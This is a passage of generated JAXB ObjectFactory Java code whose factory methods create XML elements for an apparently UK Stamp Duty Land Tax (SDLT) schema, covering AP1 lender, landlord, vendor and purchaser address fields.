}{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2MDCode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2MDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2MDCode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2ChargeDate", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<String> createSDLTSDLT2AP1AP1PurchLender2ChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1PurchLender2ChargeDate_QNAME, String.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLender2Represented", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsPurchLender2Represented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchLender2Represented_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2RepresentedBy", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2RepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2RepresentedBy_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeHouseNo", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeHouseNo_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeHouseNo2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeHouseNo2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgePostcode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgePostcode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeDXNumber", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeDXNumber_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeDXExchange", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2LodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeDXExchange_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2Role1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2Role1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2Role1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2Role2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2Role2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2Role2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_LeaseType", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1LeaseType(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1LeaseType_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_LandlordTitle", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1LandlordTitle(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1LandlordTitle_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_LandlordTitle2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1LandlordTitle2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1LandlordTitle2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_LandlordTitle3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1LandlordTitle3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1LandlordTitle3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_LandlordTitle4", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1LandlordTitle4(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1LandlordTitle4_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_TenantTitle", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1TenantTitle(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1TenantTitle_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PropertyWholeOrPart", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PropertyWholeOrPart(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PropertyWholeOrPart_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorRepresented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendorRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorRepresented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorRepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorRepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendor2Represented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendor2Represented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsVendor2Represented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2RepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2RepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2RepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2Name", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2Name(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2Name_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchAgent1", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchAgent1(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsPurchAgent1_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchaserService", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchaserService(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchaserService_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceEmail", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceEmail(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceEmail_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServicePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServicePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServicePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchaserServiceDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLender", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchLender(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchLender_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderMDCode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderMDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderMDCode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1AP1PurchLenderChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1PurchLenderChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLenderRepresented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchLenderRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchLenderRepresented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderRepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderRepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderLodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * 